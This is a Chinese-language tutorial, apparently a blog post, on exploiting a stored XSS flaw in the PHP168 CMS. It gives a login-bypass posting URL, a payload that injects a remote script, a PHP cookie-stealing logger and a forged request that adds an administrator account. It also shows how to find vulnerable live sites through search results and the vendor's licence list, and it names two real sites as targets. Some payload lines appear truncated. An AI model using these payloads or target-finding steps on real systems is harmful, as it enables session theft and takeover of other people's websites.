XSS跨站及利用
(一)软件测试环境以及搭建
测试环境:本地 XAMPP 1.7.1
测试软件:PHP168整站v5.0
软件下载地址 http://down2.php168.com/v2008.rar
PHP.ini 配置: magic_quotes_gpc Off(On或者Off对持久型XSS并无没影响) ;register_globals Off ;safe_mode Off ;
(二)XSS跨站基础
1、XSS攻击定义
XSS又叫CSS (Cross Site Script) ,简称跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性,实际很多系统都存在XSS漏洞,本文中主要是研究PHP168整站系统中的XSS的利用。
2、如何寻找XSS漏洞
就一般而言,XSS攻击可以分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
3、如何利用
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。
(三)XSS跨站利用
1.获取XSS漏洞地址
XSS又叫CSS 全称Cross Site Scripting 跨站脚本攻击。分为持久性,反射型两种。本文演示的是持久性跨站以及简单利用。其实都是站在前人的基础上,感谢那些无私奉献的牛牛。我们安装完php168后,不要登陆,直接打开如下URL: http://localhost/php168/member/post.php?job=postnew&fid=2
可以绕过管理员登陆,直接发表文章,如图1所示。
图1绕过验证直接发帖
说明:
如果是在实际网络上面进行测试,可以使用“php168/member/post.php”作为关键值进行搜索,找到搜索结果后,对结果进行查看,如图2所示,单击其中的“发表”链接进入发表页面。这样获取的Fid才是正确的ID,否则得到的ID打不开页面,如图3所示。在图3中的相应输入框中输入相应的测试值,完毕进行发表,如图4所示,会给出发表后的相应操作,单击查看,可以看到刚才发表的帖子,如图5所示,整个发表过程无须审核和登录。
图2 搜索获取php168发帖地址
图3 直接发表帖子
图4 发表帖子成功
图5 查看发表的帖子
2.测试XSS
在发表帖子页面中选择“源码”模式,然后在内容中加入以下代码:
然后单击发表,我们看看文章地址:http://127.0.0.1/php168/bencandy.php?fid=2&aid=4
邪恶的XSS 出现,如图6所示。
图6找到邪恶的XSS
3.远程包含JS文件攻击
我们远程包含JS文件来攻击,代码如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
这样直接发上去是会被过滤掉的,我们转换编码,对于不会转换编码的朋友可以到http://ha.ckers.org/xss.html#ipobfuscate去直接转换。
代码如下:
src="javascript:s=document.createElement('script');
s.src='http://127.0.0.1/xss/xss.js';
document.body.appendChild(s);"/>
这样我们就可以直接编辑我们的xss.js文件来吊管理员Cookie了。当然反射型的更多。其执行效果如图7所示。
图7 XSS读取效果
4.获取Cookie
我们编辑js文件如下:
alert(document.cookie);
返回查看,如图8所示,显示本地的Cookie值。
图8 获取本地Cookie值
当然我们隐藏钓管理员Cookie,并没测试官方。请大牛试试吧。
5.编写代码获取Cookie或者直接添加管理员
编写我们的PHP文件,代码如下:
/*auther:menzhi007 Blog:http://hi.baidu.com/menzhi007 */
$txtfile = "menzhi.php";
$date = date("Y-m-d - H:i:s");
$cookie = $_GET['get'];
$writeinfo = "{$date}\n{$cookie}\n";
$printer = fopen($txtfile, 'a');
fwrite($printer,$writeinfo);
fclose($printer);
?>或者直接添加管理员,代码如下:
location.href="http://127.0.0.1/php168/admin/index.php?lfj=member&action=addmember&postdb%5Busername%5D=menzhi007&postdb%5Bpasswd%5D=menzhi007&postdb%5Bpasswd2%5D=menzhi007&postdb%5Bgroupid%5D=3&postdb%5Bemail%5D=menzhi007@163.com&Submit=%CC%E1%BD%BB";
平时也没什么时间上网,具体大家自己测试吧。官方路径:D:\p8-server\wwwroot\php168_com\
已通知官方修补漏洞了,不要搞破坏(没进入官方挺后悔的)。
(四)实例演示
大家打开官方主页http://www.php168.com/biz/impower.php
商业授权查询,如图9所示。
图9 获取使用php168整站系统的用户
我们随便挑几个,演示站点:
http://www.3cq.org/member/post.php?job=postnew&fid=2
图10演示站点1
演示站点2:
http://www.ccdv.cc/member/post.php?job=postnew&fid=2
图11演示站点2
XSS跨站及利用的更多相关文章
- xss跨站实例总结
跨站脚本攻击(Cross-site scripting,通常简称为XSS)发生在客户端,可被用于进行窃取隐私.钓鱼欺骗.偷取密码.传播恶意代码等攻击行为. 恶意的攻击者将对客户端有危害的代码放到服务器 ...
- XSS跨站攻击
目录 1 XSS跨站攻击简介 1 1.1 什么是XSS 1 1.2 XSS的分类 1 1.3 XSS的危害 1 2 XSS的攻击原理 1 2.1 本地式漏洞攻击 1 2.2 存储式漏洞攻击 2 2.3 ...
- XSS跨站脚步攻击及防范
XSS(Cross Site Script)跨站脚本攻击.它指的是恶意攻击者往Web 页面里插入恶 意html 代码,当用户浏览该页之时,嵌入其中Web 里面的html 代码会被执行,从而达到侵害用户 ...
- 【php】下载站系统Simple Down v5.5.1 xss跨站漏洞分析
author:zzzhhh 一. 跨站漏洞 利用方法1,直接在搜索框处搜索<script>alert(/xss/)</script>//',再次刷新,跨站语句将被 ...
- 二十五:XSS跨站值原理分类及攻击手法
HTML DOM树 XSS跨站产生原理,危害,特点 本质,产生层面,函数类,漏洞操作对应层,危害影响,浏览器内核版本 XSS是什么? XSS全称跨站脚本(Cross Site Scripting),为 ...
- 二十七:XSS跨站之代码及httponly绕过
httponly:如果给某个 cookie 设置了 httpOnly 属性,则无法通过 JS 脚本 读取到该 cookie 的信息,但还Application 中手动修改 cookie,所以只是在一定 ...
- 云锁Linux服务器安全软件安装及防护webshell、CC、XSS跨站攻击设置
无论我们在使用电脑,还是使用VPS/服务器的时候,最为担心的就是服务器是否有安全问题,尤其是网站服务器再遭受攻击的时候如何得到防护.对于大 部分站长用户来说,我们可能只会使用基础的环境,如果真遇到问题 ...
- 修复XSS跨站漏洞
XSS跨站漏洞最终形成的原因是对输入与输出没有严格过滤. 1.输入与输出 在HTML中,<,>,",',&都有比较特殊的意义.HTML标签,属性就是由这几个符合组成的.P ...
- 可以用到的XSS跨站语句
我们常用的测试XSS跨站的语句一般是alert比如: <script>alert(“sex”)</script> <script>alert(/sex/)</ ...
随机推荐
- ubuntu下如何快速加密可移动存储设备
ubuntu下可以快速加密U盘和其他移动存储设备.访问的时候会要你输入密码,这样就比较安全了. ubuntu的磁盘工具使用的是LUKS加密,虽然这个加密方法不跟其他系统兼容,但可以在其他试用GNOME ...
- J2ee 巴巴网站制作(一)
用户模块图:
- 求1+2+…+n,要求不能使用乘除法、for、while、if、else、s witch、case 等关键字以及条件判断语句(A?B:C)和不用循环/goto/递归输出1~100的10种写法
来源:据说是某一年某个公司的面试题 题目:求1+2+…+n, 要求不能使用乘除法.for.while.if.else.s witch.case 等关键字以及条件判断语句(A?B:C) 分析:这题本来很 ...
- Pycharm连接gitlab
一.从gitlab上clone代码到本地pycharm (一).gitlab上找到创建项目的连接地址,分两种: 1. http连接方式: http://10.22.1.72/derekchen/cxg ...
- echo "hello" | nc -4t -w1 localhost 8001
TCP4: echo "hello" | nc -4t -w1 localhost 8001 UDP4: echo "hello" | nc -4u -w1 l ...
- php面向对象(一) 初窥
初窥php面向对象 1.类:类就是属性和方法的集合 是一个抽象的概念比如生活中的“人”,"汽车"2.对象:对象是具体的事物 比如一叫“小强”的人 一辆叫“奥迪a7”的汽车3.类和对 ...
- Hook入门
Hook入门 2014-07-24 基本概念 Windows消息机制 Hook(钩子) 运行机制 核心函数 C# hook示例 基本概念[1] Windows消息机制[5] Windows操作系统是建 ...
- 函数buf_pool_init
/********************************************************************//** Creates the buffer pool. @ ...
- mysql-备份和还原(普通还原和binlog还原)
1)备份 mysqldump -uroot -proot share -l -F > /tmp/share.sql 说明:-l 锁表 -F 刷新日志文件(相当于flush logs) 2)还原( ...
- 内核打上yaffs2补丁遇到的问题
移植yaffs2文件系统时,首先要在内核中添加对yaffs2的支持,使用命令:./patch-ker.sh c 内核目录时,出现下面错误: usage: ./patch-ker.sh c/l m/ ...